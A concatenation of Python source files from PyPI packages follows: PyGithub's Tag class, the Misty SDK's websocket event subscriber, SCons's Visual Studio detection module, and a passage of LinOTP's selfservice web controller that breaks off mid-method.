# ########################## Copyrights and license ############################ # # # Copyright 2012 Vincent Jacques <vincent@vincent-jacques.net> # # Copyright 2012 Zearin <zearin@gonk.net> # # Copyright 2013 AKFish <akfish@gmail.com> # # Copyright 2013 Vincent Jacques <vincent@vincent-jacques.net> # # Copyright 2013 martinqt <m.ki2@laposte.net> # # # # This file is part of PyGithub. # # http://pygithub.github.io/PyGithub/v1/index.html # # # # PyGithub is free software: you can redistribute it and/or modify it under # # the terms of the GNU Lesser General Public License as published by the Free # # Software Foundation, either version 3 of the License, or (at your option) # # any later version. # # # # PyGithub is distributed in the hope that it will be useful, but WITHOUT ANY # # WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS # # FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public License for more # # details. # # # # You should have received a copy of the GNU Lesser General Public License # # along with PyGithub. If not, see <http://www.gnu.org/licenses/>. # # # # ############################################################################## import github.GithubObject import github.Commit class Tag(github.GithubObject.NonCompletableGithubObject): """ This class represents Tags. The reference can be found here http://developer.github.com/v3/git/tags/ """ def __repr__(self): return self.get__repr__({ "name": self._name.value, "commit": self._commit.value }) @property def commit(self): """ :type: :class:`github.Commit.Commit` """ return self._commit.value @property def name(self): """ :type: string """ return self._name.value @property def tarball_url(self): """ :type: string """ return self._tarball_url.value @property def zipball_url(self): """ :type: string """ return self._zipball_url.value def _initAttributes(self): self._commit = github.GithubObject.NotSet self._name = github.GithubObject.NotSet self._tarball_url = github.GithubObject.NotSet self._zipball_url = github.GithubObject.NotSet def _useAttributes(self, attributes): if "commit" in attributes: # pragma no branch self._commit = self._makeClassAttribute(github.Commit.Commit, attributes["commit"]) if "name" in attributes: # pragma no branch self._name = self._makeStringAttribute(attributes["name"]) if "tarball_url" in attributes: # pragma no branch self._tarball_url = self._makeStringAttribute(attributes["tarball_url"]) if "zipball_url" in attributes: # pragma no branch self._zipball_url = self._makeStringAttribute(attributes["zipball_url"])
PypiClean
/Misty_SDK-0.1.1-py3-none-any.whl/mistyPy/Events.py
import json import threading import websocket try: import thread except ImportError: import _thread as thread from random import randint class Events: available_events = [ 'ActuatorPosition', 'ArTagDetection', 'AudioPlayComplete', 'BatteryCharge', 'BumpSensor', 'ChargerPoseMessage', 'CriticalStatusMessage', 'DriveEncoders', 'FaceRecognition', 'FaceTraining', 'HaltCommand', 'HazardNotification', 'IMU', 'KeyPhraseRecognized', 'LocomotionCommand', 'ObjectDetection', 'ObstacleMap', 'PRUMessage', 'RfCommMessage', 'RfCommState', 'RobotCommandMessage', 'SelfState', 'SerialMessage', 'SkillData', 'SkillSystemStateChange', 'SlamStatus', 'SourceFocusConfigMessage', 'SourceTrackDataMessage', 'TextToSpeechComplete', 'TimeOfFlight', 'TouchSensor', 'UserSkillData', 'VoiceRecord', 'WorldState' ] ActuatorPosition = 'ActuatorPosition' ArTagDetection = 'ArTagDetection' AudioPlayComplete = 'AudioPlayComplete' BatteryCharge = 'BatteryCharge' BumpSensor = 'BumpSensor' ChargerPoseMessage = 'ChargerPoseMessage' CriticalStatusMessage = 'CriticalStatusMessage' DriveEncoders = 'DriveEncoders' FaceRecognition = 'FaceRecognition' FaceTraining = 'FaceTraining' HaltCommand = 'HaltCommand' HazardNotification = 'HazardNotification' IMU = 'IMU' KeyPhraseRecognized = 'KeyPhraseRecognized' LocomotionCommand = 'LocomotionCommand' ObjectDetection = 'ObjectDetection' ObstacleMap = 'ObstacleMap' PRUMessage = 'PRUMessage' RfCommMessage = 'RfCommMessage' RfCommState = 'RfCommState' RobotCommandMessage = 'RobotCommandMessage' SelfState = 'SelfState' SerialMessage = 'SerialMessage' SkillData = 'SkillData' SkillSystemStateChange = 'SkillSystemStateChange' SlamStatus = 'SlamStatus' SourceFocusConfigMessage = 'SourceFocusConfigMessage' SourceTrackDataMessage = 'SourceTrackDataMessage' TextToSpeechComplete = 'TextToSpeechComplete' TimeOfFlight = 'TimeOfFlight' TouchSensor = 'TouchSensor' UserSkillData = 'UserSkillData' VoiceRecord = 'VoiceRecord' WorldState = 'WorldState' class Event: def __init__(self, ip, event_type, condition=None, _debounce=0, keep_alive=False, callback_function=None): if event_type in Events.available_events: self.event_type = getattr(Events, event_type) else: self.is_active = False print(f"Invalid subscription:{event_type}") return self.ip = ip self.condition = condition self.debounce = _debounce self.data = json.loads( '{"status":"Not_Subscribed or just waiting for data"}') self.event_name = None self.ws = None self.initial_flag = True self.keep_alive = keep_alive self.callback_function = callback_function self.is_active = True self.thread = threading.Thread(target=self.initiate) self.thread.start() def initiate(self): websocket.enableTrace( False ) # Change this to true if you want to see all of the sent messages self.ws = websocket.WebSocketApp("ws://" + self.ip + "/pubsub", on_message=self.on_message, on_error=self.on_error, on_close=self.on_close, on_open=self.on_open) self.ws.run_forever(ping_timeout=10) def on_message(self, message): # The first message is the successful subscription message if self.initial_flag: self.initial_flag = False else: self.data = json.loads(message) if self.callback_function is not None: self.callback_function(self.data) if not self.keep_alive: self.unsubscribe() def on_error(self, error): print(error) def on_close(self): self.is_active = False def on_open(self): def run(*args): self.ws.send(str(self.get_subscribe_message())) thread.start_new_thread(run, ()) self.is_active = True def unsubscribe(self): self.ws.send(str(self.get_unsubscribe_message())) self.ws.close() self.is_active = False def get_subscribe_message(self): self.event_name = str(randint(0, 10000000000)) if self.condition is None: subscribe_msg = { "Operation": "subscribe", "Type": self.event_type, "DebounceMs": self.debounce, "EventName": self.event_name, "Message": "" } else: subscribe_msg = { "Operation": "subscribe", "Type": self.event_type, "DebounceMs": self.debounce, "EventName": self.event_name, "Message": "", "EventConditions": self.condition } return subscribe_msg def get_unsubscribe_message(self): unsubscribe_msg = { "Operation": "unsubscribe", "EventName": self.event_name, "Message": "" } return unsubscribe_msg
PypiClean
/Nuitka-1.8.tar.gz/Nuitka-1.8/nuitka/build/inline_copy/lib/scons-4.3.0/SCons/Tool/MSCommon/vs.py
__revision__ = "__FILE__ __REVISION__ __DATE__ __DEVELOPER__" __doc__ = """Module to detect Visual Studio and/or Visual C/C++ """ import os import SCons.Errors import SCons.Util from .common import debug, \ get_output, \ is_win64, \ normalize_env, \ parse_output, \ read_reg import SCons.Tool.MSCommon.vc class VisualStudio: """ An abstract base class for trying to find installed versions of Visual Studio. """ def __init__(self, version, **kw): self.version = version kw['vc_version'] = kw.get('vc_version', version) kw['sdk_version'] = kw.get('sdk_version', version) self.__dict__.update(kw) self._cache = {} def find_batch_file(self): vs_dir = self.get_vs_dir() if not vs_dir: debug('no vs_dir') return None batch_file = os.path.join(vs_dir, self.batch_file_path) batch_file = os.path.normpath(batch_file) if not os.path.isfile(batch_file): debug('%s not on file system' % batch_file) return None return batch_file def find_vs_dir_by_vc(self, env): dir = SCons.Tool.MSCommon.vc.find_vc_pdir(env, self.vc_version) if not dir: debug('no installed VC %s' % self.vc_version) return None return os.path.abspath(os.path.join(dir, os.pardir)) def find_vs_dir_by_reg(self, env): root = 'Software\\' if is_win64(): root = root + 'Wow6432Node\\' for key in self.hkeys: if key=='use_dir': return self.find_vs_dir_by_vc(env) key = root + key try: comps = read_reg(key) except OSError: debug('no VS registry key {}'.format(repr(key))) else: debug('found VS in registry: {}'.format(comps)) return comps return None def find_vs_dir(self, env): """ Can use registry or location of VC to find vs dir First try to find by registry, and if that fails find via VC dir """ vs_dir=self.find_vs_dir_by_reg(env) if not vs_dir: vs_dir = self.find_vs_dir_by_vc(env) debug('found VS in ' + str(vs_dir )) return vs_dir def find_executable(self, env): vs_dir = self.get_vs_dir(env) if not vs_dir: debug('no vs_dir ({})'.format(vs_dir)) return None executable = os.path.join(vs_dir, self.executable_path) executable = os.path.normpath(executable) if not os.path.isfile(executable): debug('{} not on file system'.format(executable)) return None return executable def get_batch_file(self): try: return self._cache['batch_file'] except KeyError: batch_file = self.find_batch_file() self._cache['batch_file'] = batch_file return batch_file def get_executable(self, env=None): try: debug('using cache:%s'%self._cache['executable']) return self._cache['executable'] except KeyError: executable = self.find_executable(env) self._cache['executable'] = executable debug('not in cache:%s'%executable) return executable def get_vs_dir(self, env): try: return self._cache['vs_dir'] except KeyError: vs_dir = self.find_vs_dir(env) self._cache['vs_dir'] = vs_dir return vs_dir def get_supported_arch(self): try: return self._cache['supported_arch'] except KeyError: # RDEVE: for the time being use hardcoded lists # supported_arch = self.find_supported_arch() self._cache['supported_arch'] = self.supported_arch return self.supported_arch def reset(self): self._cache = {} # The list of supported Visual Studio versions we know how to detect. # # How to look for .bat file ? # - VS 2008 Express (x86): # * from registry key productdir, gives the full path to vsvarsall.bat. In # HKEY_LOCAL_MACHINE): # Software\Microsoft\VCEpress\9.0\Setup\VC\productdir # * from environmnent variable VS90COMNTOOLS: the path is then ..\..\VC # relatively to the path given by the variable. # # - VS 2008 Express (WoW6432: 32 bits on windows x64): # Software\Wow6432Node\Microsoft\VCEpress\9.0\Setup\VC\productdir # # - VS 2005 Express (x86): # * from registry key productdir, gives the full path to vsvarsall.bat. In # HKEY_LOCAL_MACHINE): # Software\Microsoft\VCEpress\8.0\Setup\VC\productdir # * from environmnent variable VS80COMNTOOLS: the path is then ..\..\VC # relatively to the path given by the variable. # # - VS 2005 Express (WoW6432: 32 bits on windows x64): does not seem to have a # productdir ? # # - VS 2003 .Net (pro edition ? x86): # * from registry key productdir. The path is then ..\Common7\Tools\ # relatively to the key. The key is in HKEY_LOCAL_MACHINE): # Software\Microsoft\VisualStudio\7.1\Setup\VC\productdir # * from environmnent variable VS71COMNTOOLS: the path is the full path to # vsvars32.bat # # - VS 98 (VS 6): # * from registry key productdir. The path is then Bin # relatively to the key. The key is in HKEY_LOCAL_MACHINE): # Software\Microsoft\VisualStudio\6.0\Setup\VC98\productdir # # The first version found in the list is the one used by default if # there are multiple versions installed. Barring good reasons to # the contrary, this means we should list versions from most recent # to oldest. Pro versions get listed before Express versions on the # assumption that, by default, you'd rather use the version you paid # good money for in preference to whatever Microsoft makes available # for free. # # If you update this list, update _VCVER and _VCVER_TO_PRODUCT_DIR in # Tool/MSCommon/vc.py, and the MSVC_VERSION documentation in Tool/msvc.xml. SupportedVSList = [ # Visual Studio 2022 VisualStudio('14.3', vc_version='14.3', sdk_version='10.0A', hkeys=[], common_tools_var='VS170COMNTOOLS', executable_path=r'Common7\IDE\devenv.com', # should be a fallback, prefer use vswhere installationPath batch_file_path=r'Common7\Tools\VsDevCmd.bat', supported_arch=['x86', 'amd64', "arm"], ), # Visual Studio 2019 VisualStudio('14.2', vc_version='14.2', sdk_version='10.0A', hkeys=[], common_tools_var='VS160COMNTOOLS', executable_path=r'Common7\IDE\devenv.com', # should be a fallback, prefer use vswhere installationPath batch_file_path=r'Common7\Tools\VsDevCmd.bat', supported_arch=['x86', 'amd64', "arm"], ), # Visual Studio 2017 VisualStudio('14.1', vc_version='14.1', sdk_version='10.0A', hkeys=[], common_tools_var='VS150COMNTOOLS', executable_path=r'Common7\IDE\devenv.com', # should be a fallback, prefer use vswhere installationPath batch_file_path=r'Common7\Tools\VsDevCmd.bat', supported_arch=['x86', 'amd64', "arm"], ), # Visual C++ 2017 Express Edition (for Desktop) VisualStudio('14.1Exp', vc_version='14.1', sdk_version='10.0A', hkeys=[], common_tools_var='VS150COMNTOOLS', executable_path=r'Common7\IDE\WDExpress.exe', # should be a fallback, prefer use vswhere installationPath batch_file_path=r'Common7\Tools\VsDevCmd.bat', supported_arch=['x86', 'amd64', "arm"], ), # Visual Studio 2015 VisualStudio('14.0', vc_version='14.0', sdk_version='10.0', hkeys=[r'Microsoft\VisualStudio\14.0\Setup\VS\ProductDir'], common_tools_var='VS140COMNTOOLS', executable_path=r'Common7\IDE\devenv.com', batch_file_path=r'Common7\Tools\vsvars32.bat', supported_arch=['x86', 'amd64', "arm"], ), # Visual C++ 2015 Express Edition (for Desktop) VisualStudio('14.0Exp', vc_version='14.0', sdk_version='10.0A', hkeys=[r'Microsoft\VisualStudio\14.0\Setup\VS\ProductDir'], common_tools_var='VS140COMNTOOLS', executable_path=r'Common7\IDE\WDExpress.exe', batch_file_path=r'Common7\Tools\vsvars32.bat', supported_arch=['x86', 'amd64', "arm"], ), # Visual Studio 2013 VisualStudio('12.0', vc_version='12.0', sdk_version='8.1A', hkeys=[r'Microsoft\VisualStudio\12.0\Setup\VS\ProductDir'], common_tools_var='VS120COMNTOOLS', executable_path=r'Common7\IDE\devenv.com', batch_file_path=r'Common7\Tools\vsvars32.bat', supported_arch=['x86', 'amd64'], ), # Visual C++ 2013 Express Edition (for Desktop) VisualStudio('12.0Exp', vc_version='12.0', sdk_version='8.1A', hkeys=[r'Microsoft\VisualStudio\12.0\Setup\VS\ProductDir'], common_tools_var='VS120COMNTOOLS', executable_path=r'Common7\IDE\WDExpress.exe', batch_file_path=r'Common7\Tools\vsvars32.bat', supported_arch=['x86', 'amd64'], ), # Visual Studio 2012 VisualStudio('11.0', sdk_version='8.0A', hkeys=[r'Microsoft\VisualStudio\11.0\Setup\VS\ProductDir'], common_tools_var='VS110COMNTOOLS', executable_path=r'Common7\IDE\devenv.com', batch_file_path=r'Common7\Tools\vsvars32.bat', supported_arch=['x86', 'amd64'], ), # Visual C++ 2012 Express Edition (for Desktop) VisualStudio('11.0Exp', vc_version='11.0', sdk_version='8.0A', hkeys=[r'Microsoft\VisualStudio\11.0\Setup\VS\ProductDir'], common_tools_var='VS110COMNTOOLS', executable_path=r'Common7\IDE\WDExpress.exe', batch_file_path=r'Common7\Tools\vsvars32.bat', supported_arch=['x86', 'amd64'], ), # Visual Studio 2010 VisualStudio('10.0', sdk_version='7.0A', hkeys=[r'Microsoft\VisualStudio\10.0\Setup\VS\ProductDir'], common_tools_var='VS100COMNTOOLS', executable_path=r'Common7\IDE\devenv.com', batch_file_path=r'Common7\Tools\vsvars32.bat', supported_arch=['x86', 'amd64'], ), # Visual C++ 2010 Express Edition VisualStudio('10.0Exp', vc_version='10.0', sdk_version='7.0A', hkeys=[r'Microsoft\VCExpress\10.0\Setup\VS\ProductDir'], common_tools_var='VS100COMNTOOLS', executable_path=r'Common7\IDE\VCExpress.exe', batch_file_path=r'Common7\Tools\vsvars32.bat', supported_arch=['x86'], ), # Visual Studio 2008 VisualStudio('9.0', sdk_version='6.0A', hkeys=[r'Microsoft\VisualStudio\9.0\Setup\VS\ProductDir'], common_tools_var='VS90COMNTOOLS', executable_path=r'Common7\IDE\devenv.com', batch_file_path=r'Common7\Tools\vsvars32.bat', supported_arch=['x86', 'amd64'], ), # Visual C++ 2008 Express Edition VisualStudio('9.0Exp', vc_version='9.0', sdk_version='6.0A', hkeys=[r'Microsoft\VCExpress\9.0\Setup\VS\ProductDir'], common_tools_var='VS90COMNTOOLS', executable_path=r'Common7\IDE\VCExpress.exe', batch_file_path=r'Common7\Tools\vsvars32.bat', supported_arch=['x86'], ), # Visual Studio 2005 VisualStudio('8.0', sdk_version='6.0A', hkeys=[r'Microsoft\VisualStudio\8.0\Setup\VS\ProductDir'], common_tools_var='VS80COMNTOOLS', executable_path=r'Common7\IDE\devenv.com', batch_file_path=r'Common7\Tools\vsvars32.bat', default_dirname='Microsoft Visual Studio 8', supported_arch=['x86', 'amd64'], ), # Visual C++ 2005 Express Edition VisualStudio('8.0Exp', vc_version='8.0Exp', sdk_version='6.0A', hkeys=[r'Microsoft\VCExpress\8.0\Setup\VS\ProductDir'], common_tools_var='VS80COMNTOOLS', executable_path=r'Common7\IDE\VCExpress.exe', batch_file_path=r'Common7\Tools\vsvars32.bat', default_dirname='Microsoft Visual Studio 8', supported_arch=['x86'], ), # Visual Studio .NET 2003 VisualStudio('7.1', sdk_version='6.0', hkeys=[r'Microsoft\VisualStudio\7.1\Setup\VS\ProductDir'], common_tools_var='VS71COMNTOOLS', executable_path=r'Common7\IDE\devenv.com', batch_file_path=r'Common7\Tools\vsvars32.bat', default_dirname='Microsoft Visual Studio .NET 2003', supported_arch=['x86'], ), # Visual Studio .NET VisualStudio('7.0', sdk_version='2003R2', hkeys=[r'Microsoft\VisualStudio\7.0\Setup\VS\ProductDir'], common_tools_var='VS70COMNTOOLS', executable_path=r'Common7\IDE\devenv.com', batch_file_path=r'Common7\Tools\vsvars32.bat', default_dirname='Microsoft Visual Studio .NET', supported_arch=['x86'], ), # Visual Studio 6.0 VisualStudio('6.0', sdk_version='2003R1', hkeys=[r'Microsoft\VisualStudio\6.0\Setup\Microsoft Visual Studio\ProductDir', 'use_dir'], common_tools_var='VS60COMNTOOLS', executable_path=r'Common\MSDev98\Bin\MSDEV.COM', batch_file_path=r'Common7\Tools\vsvars32.bat', default_dirname='Microsoft Visual Studio', supported_arch=['x86'], ), ] SupportedVSMap = {} for vs in SupportedVSList: SupportedVSMap[vs.version] = vs # Finding installed versions of Visual Studio isn't cheap, because it # goes not only to the registry but also to the disk to sanity-check # that there is, in fact, a Visual Studio directory there and that the # registry entry isn't just stale. Find this information once, when # requested, and cache it. InstalledVSList = None InstalledVSMap = None def get_installed_visual_studios(env=None): global InstalledVSList global InstalledVSMap if InstalledVSList is None: InstalledVSList = [] InstalledVSMap = {} for vs in SupportedVSList: debug('trying to find VS %s' % vs.version) if vs.get_executable(env): debug('found VS %s' % vs.version) InstalledVSList.append(vs) InstalledVSMap[vs.version] = vs return InstalledVSList def reset_installed_visual_studios(): global InstalledVSList global InstalledVSMap InstalledVSList = None InstalledVSMap = None for vs in SupportedVSList: vs.reset() # Need to clear installed VC's as well as they are used in finding # installed VS's SCons.Tool.MSCommon.vc.reset_installed_vcs() # We may be asked to update multiple construction environments with # SDK information. When doing this, we check on-disk for whether # the SDK has 'mfc' and 'atl' subdirectories. Since going to disk # is expensive, cache results by directory. #SDKEnvironmentUpdates = {} # #def set_sdk_by_directory(env, sdk_dir): # global SDKEnvironmentUpdates # try: # env_tuple_list = SDKEnvironmentUpdates[sdk_dir] # except KeyError: # env_tuple_list = [] # SDKEnvironmentUpdates[sdk_dir] = env_tuple_list # # include_path = os.path.join(sdk_dir, 'include') # mfc_path = os.path.join(include_path, 'mfc') # atl_path = os.path.join(include_path, 'atl') # # if os.path.exists(mfc_path): # env_tuple_list.append(('INCLUDE', mfc_path)) # if os.path.exists(atl_path): # env_tuple_list.append(('INCLUDE', atl_path)) # env_tuple_list.append(('INCLUDE', include_path)) # # env_tuple_list.append(('LIB', os.path.join(sdk_dir, 'lib'))) # env_tuple_list.append(('LIBPATH', os.path.join(sdk_dir, 'lib'))) # env_tuple_list.append(('PATH', os.path.join(sdk_dir, 'bin'))) # # for variable, directory in env_tuple_list: # env.PrependENVPath(variable, directory) def msvs_exists(env=None): return (len(get_installed_visual_studios(env)) > 0) def get_vs_by_version(msvs): global InstalledVSMap global SupportedVSMap debug('called') if msvs not in SupportedVSMap: msg = "Visual Studio version %s is not supported" % repr(msvs) raise SCons.Errors.UserError(msg) get_installed_visual_studios() vs = InstalledVSMap.get(msvs) debug('InstalledVSMap:%s' % InstalledVSMap) debug('found vs:%s' % vs) # Some check like this would let us provide a useful error message # if they try to set a Visual Studio version that's not installed. # However, we also want to be able to run tests (like the unit # tests) on systems that don't, or won't ever, have it installed. # It might be worth resurrecting this, with some configurable # setting that the tests can use to bypass the check. #if not vs: # msg = "Visual Studio version %s is not installed" % repr(msvs) # raise SCons.Errors.UserError, msg return vs def get_default_version(env): """Returns the default version string to use for MSVS. If no version was requested by the user through the MSVS environment variable, query all the available visual studios through get_installed_visual_studios, and take the highest one. Return ------ version: str the default version. """ if 'MSVS' not in env or not SCons.Util.is_Dict(env['MSVS']): # get all versions, and remember them for speed later versions = [vs.version for vs in get_installed_visual_studios()] env['MSVS'] = {'VERSIONS' : versions} else: versions = env['MSVS'].get('VERSIONS', []) if 'MSVS_VERSION' not in env: if versions: env['MSVS_VERSION'] = versions[0] #use highest version by default else: debug('WARNING: no installed versions found, ' 'using first in SupportedVSList (%s)' % SupportedVSList[0].version) env['MSVS_VERSION'] = SupportedVSList[0].version env['MSVS']['VERSION'] = env['MSVS_VERSION'] return env['MSVS_VERSION'] def get_default_arch(env): """Return the default arch to use for MSVS if no version was requested by the user through the MSVS_ARCH environment variable, select x86 Return ------ arch: str """ arch = env.get('MSVS_ARCH', 'x86') msvs = InstalledVSMap.get(env['MSVS_VERSION']) if not msvs: arch = 'x86' elif arch not in msvs.get_supported_arch(): fmt = "Visual Studio version %s does not support architecture %s" raise SCons.Errors.UserError(fmt % (env['MSVS_VERSION'], arch)) return arch def merge_default_version(env): version = get_default_version(env) arch = get_default_arch(env) def msvs_setup_env(env): batfilename = msvs.get_batch_file() msvs = get_vs_by_version(version) if msvs is None: return # XXX: I think this is broken. This will silently set a bogus tool instead # of failing, but there is no other way with the current scons tool # framework if batfilename is not None: vars = ('LIB', 'LIBPATH', 'PATH', 'INCLUDE') msvs_list = get_installed_visual_studios() vscommonvarnames = [vs.common_tools_var for vs in msvs_list] save_ENV = env['ENV'] nenv = normalize_env(env['ENV'], ['COMSPEC'] + vscommonvarnames, force=True) try: output = get_output(batfilename, arch, env=nenv) finally: env['ENV'] = save_ENV vars = parse_output(output, vars) for k, v in vars.items(): env.PrependENVPath(k, v, delete_existing=1) def query_versions(): """Query the system to get available versions of VS. A version is considered when a batfile is found.""" msvs_list = get_installed_visual_studios() versions = [msvs.version for msvs in msvs_list] return versions # Local Variables: # tab-width:4 # indent-tabs-mode:nil # End: # vim: set expandtab tabstop=4 shiftwidth=4:
PypiClean
/LinOTP-2.11.1.tar.gz/LinOTP-2.11.1/linotp/controllers/selfservice.py
import os import json import webob from paste.httpexceptions import HTTPFound from pylons import request from pylons import response from pylons import config from pylons import tmpl_context as c from pylons import url from pylons.controllers.util import abort from pylons.controllers.util import redirect from pylons.templating import render_mako as render from pylons.i18n.translation import _ from mako.exceptions import CompileException import linotp.model from linotp.lib.base import BaseController from linotp.lib.error import ParameterError from linotp.lib.token import getTokenType from linotp.lib.token import getTokens4UserOrSerial from linotp.lib.policy import getSelfserviceActions from linotp.lib.policy import _get_auth_PinPolicy from linotp.lib.util import remove_empty_lines from linotp.lib.reply import sendError from linotp.lib.realm import getRealms from linotp.lib.realm import getDefaultRealm from linotp.lib.user import getRealmBox from linotp.lib.util import get_version from linotp.lib.util import get_copyright_info from linotp.lib.util import get_client from linotp.lib.userservice import add_dynamic_selfservice_enrollment from linotp.lib.userservice import add_dynamic_selfservice_policies from linotp.lib.userservice import get_pre_context from linotp.lib.userservice import remove_auth_cookie from linotp.lib.userservice import check_session from linotp.lib.selfservice import get_imprint from linotp.lib.selftest import isSelfTest from linotp.controllers.userservice import get_auth_user from linotp.controllers.userservice import getTokenForUser from linotp.tokens import tokenclass_registry from linotp.lib.context import request_context import logging Session = linotp.model.Session ENCODING = "utf-8" log = logging.getLogger(__name__) audit = config.get('audit') class SelfserviceController(BaseController): authUser = None # the following actions don't require a session parameter # as they are only callbacks to render a form form_access_methods = [ "activateocratoken", "assign", "custom_style", "delete", "disable", "enable", "getotp", "history", "index", "landing", "load_form", "reset", "resync", "setmpin", "setpin", "unassign", "webprovisiongoogletoken", "webprovisionoathtoken" ] def __before__(self, action): ''' This is the authentication to self service. If you want to do ANYTHING with the selfservice, you need to be authenticated. The _before_ is executed before any other function in this controller. ''' self.redirect = None try: c.version = get_version() c.licenseinfo = get_copyright_info() c.audit = request_context['audit'] c.audit['success'] = False self.client = get_client(request) c.audit['client'] = self.client request_context['Audit'] = audit # -------------------------------------------------------------- -- # handle requests which dont require authetication if action in ['logout', 'custom_style']: return # -------------------------------------------------------------- -- # get the authenticated user auth_type, auth_user, auth_state = get_auth_user(request) # -------------------------------------------------------------- -- # handle not authenticated requests if not auth_user or auth_type not in ['user_selfservice']: if action in ['login']: return if action in ['index']: self.redirect = True redirect(url(controller='selfservice', action='login')) else: abort(403, "No valid session") # -------------------------------------------------------------- -- # handle authenticated requests # there is only one special case, which is the login that # could be forwarded to the index page if action in ['login']: if auth_state != 'authenticated': return self.redirect = True redirect(url(controller='selfservice', action='index')) # -------------------------------------------------------------- -- # in case of user_selfservice, an unauthenticated request should always go to login if auth_user and auth_type is 'user_selfservice' \ and auth_state is not 'authenticated': self.redirect = True redirect(url(controller='selfservice', action='login')) # futher processing with the authenticated user if auth_state != 'authenticated': abort(403, "No valid session") c.user = auth_user.login c.realm = auth_user.realm self.authUser = auth_user # -------------------------------------------------------------- -- # authenticated session verification if auth_type == 'user_selfservice': # checking the session only for not_form_access actions if action not in self.form_access_methods: valid_session = check_session(request, auth_user, self.client) if not valid_session: c.audit['action'] = request.path[1:] c.audit['info'] = "session expired" audit.log(c.audit) abort(403, "No valid session") # -------------------------------------------------------------- -- c.imprint = get_imprint(c.realm) c.tokenArray = [] c.user = self.authUser.login c.realm = self.authUser.realm # only the defined actions should be displayed # - remark: the generic actions like enrollTT are allready approved # to have a rendering section and included actions = getSelfserviceActions(self.authUser) c.actions = actions for policy in actions: if policy: if "=" not in policy: c.__setattr__(policy, -1) else: (name, val) = policy.split('=') val = val.strip() # try if val is a simple numeric - # w.r.t. javascript evaluation try: nval = int(val) except ValueError: nval = val c.__setattr__(name.strip(), nval) c.dynamic_actions = add_dynamic_selfservice_enrollment(config, c.actions) # we require to establish all token local defined # policies to be initialiezd additional_policies = add_dynamic_selfservice_policies(config, actions) for policy in additional_policies: c.__setattr__(policy, -1) c.otplen = -1 c.totp_len = -1 c.pin_policy = _get_auth_PinPolicy(user=self.authUser) return response except (webob.exc.HTTPUnauthorized, webob.exc.HTTPForbidden) as acc: # the exception, when an abort() is called if forwarded log.info("[__before__::%r] webob.exception %r" % (action, acc)) Session.rollback() Session.close() raise acc except HTTPFound as exx: raise exx except Exception as e: log.exception("[__before__] failed with error: %r" % e) Session.rollback() Session.close() return sendError(response, e, context='before') def __after__(self, action,): ''' ''' if self.redirect: return param = self.request_params try: if c.audit['action'] in ['selfservice/index']: if isSelfTest(): log.debug("[__after__] Doing selftest!") if "selftest_user" in param: (c.user, _foo, c.realm) = param[ "selftest_user"].rpartition('@') else: c.realm = "" c.user = "--ua--" env = request.environ uuser = env.get('REMOTE_USER') if uuser is not None: (c.user, _foo, c.realm) = uuser.rpartition('@') log.debug("[__after__] authenticating as %s in realm %s!" % (c.user, c.realm)) c.audit['user'] = c.user c.audit['realm'] = c.realm c.audit['success'] = True if 'serial' in param: c.audit['serial'] = param['serial'] c.audit['token_type'] = getTokenType(param['serial']) audit.log(c.audit) return response except webob.exc.HTTPUnauthorized as acc: # the exception, when an abort() is called if forwarded log.exception("[__after__::%r] webob.exception %r" % (action, acc)) Session.rollback() Session.close() raise acc except Exception as e: log.exception("[__after__] failed with error: %r" % e) Session.rollback() Session.close() return sendError(response, e, context='after') def index(self): ''' This is the redirect to the first template ''' c.title = _("LinOTP Self Service") return render('selfservice/base.mako') def logout(self): """ handle the logout we delete the cookies from the server and the client and redirect to the login page """ cookie = request.cookies.get('user_selfservice') if cookie: remove_auth_cookie(cookie) response.delete_cookie('user_selfservice') self.redirect = True redirect(url(controller='selfservice', action='login')) def login(self): ''' render the selfservice login page ''' cookie = request.cookies.get('user_selfservice') if cookie: remove_auth_cookie(cookie) response.delete_cookie('user_selfservice') c.title = _("LinOTP Self Service Login") # ------------------------------------------------------------------ -- # prepare the realms and put the default realm on the top defaultRealm = getDefaultRealm() realmArray = [defaultRealm] for realm in getRealms(): if realm != defaultRealm: realmArray.append(realm) # ------------------------------------------------------------------ -- # prepare the global context c for the rendering context c.defaultRealm = defaultRealm c.realmArray = realmArray c.realmbox = getRealmBox() context = get_pre_context(c.audit['client']) mfa_login = context['mfa_login'] mfa_3_fields = context['mfa_3_fields'] c.otp = False c.mfa_3_fields = False if mfa_login and mfa_3_fields: c.mfa_3_fields = True return render('/selfservice/login.mako') def load_form(self): ''' This shows the enrollment form for a requested token type. implicit parameters are: :param type: token type :param scope: defines the rendering scope :return: rendered html of the requested token ''' res = '' try: try: act = self.request_params["type"] except KeyError: raise ParameterError("Missing parameter: 'type'", id=905) try: (tok, section, scope) = act.split('.') except Exception: return res if section != 'selfservice': return res if tok in tokenclass_registry: tclt = tokenclass_registry.get(tok) if hasattr(tclt, 'getClassInfo'): sections = tclt.getClassInfo(section, {}) if scope in sections.keys(): section = sections.get(scope) page = section.get('page') c.scope = page.get('scope') c.authUser = self.authUser html = page.get('html') res = render(os.path.sep + html) res = remove_empty_lines(res) Session.commit() return res except CompileException as exx: log.exception("[load_form] compile error while processing %r.%r:" "Exeption was %r" % (tok, scope, exx)) Session.rollback() raise exx except Exception as exx: Session.rollback() error = ('error (%r) accessing form data for: tok:%r, scope:%r' ', section:%r' % (exx, tok, scope, section)) log.exception(error) return '<pre>%s</pre>' % error finally: Session.close() def custom_style(self): ''' In case the user hasn't defined a custom css, Pylons calls this action. Return an empty file instead of a 404 (which would mean hitting the debug console) ''' response.headers['Content-type'] = 'text/css' return '' def assign(self): ''' In this form the user may assign an already existing Token to himself. For this, the user needs to know the serial number of the Token. ''' return render('/selfservice/assign.mako') def resync(self): ''' In this form, the user can resync an HMAC based OTP token by providing two OTP values ''' return render('/selfservice/resync.mako') def reset(self): ''' In this form the user can reset the Failcounter of the Token. ''' return render('/selfservice/reset.mako') def getotp(self): ''' In this form, the user can retrieve OTP values ''' return render('/selfservice/getotp.mako') def disable(self): ''' In this form the user may select a token of his own and disable this token. ''' return render('/selfservice/disable.mako') def enable(self): ''' In this form the user may select a token of his own and enable this token. ''' return render('/selfservice/enable.mako') def unassign(self): ''' In this form the user may select a token of his own and unassign this token. ''' return render('/selfservice/unassign.mako') def delete(self): ''' In this form the user may select a token of his own and delete this token. ''' return render('/selfservice/delete.mako') def setpin(self): ''' In this form the user may set the OTP PIN, which is the static password he enters when logging in in front of the otp value. ''' return render('/selfservice/setpin.mako') def setmpin(self): ''' In this form the user my set the PIN for his mOTP application soft token on his phone. This is the pin, he needs to enter on his phone, before a otp value will be generated. ''' return 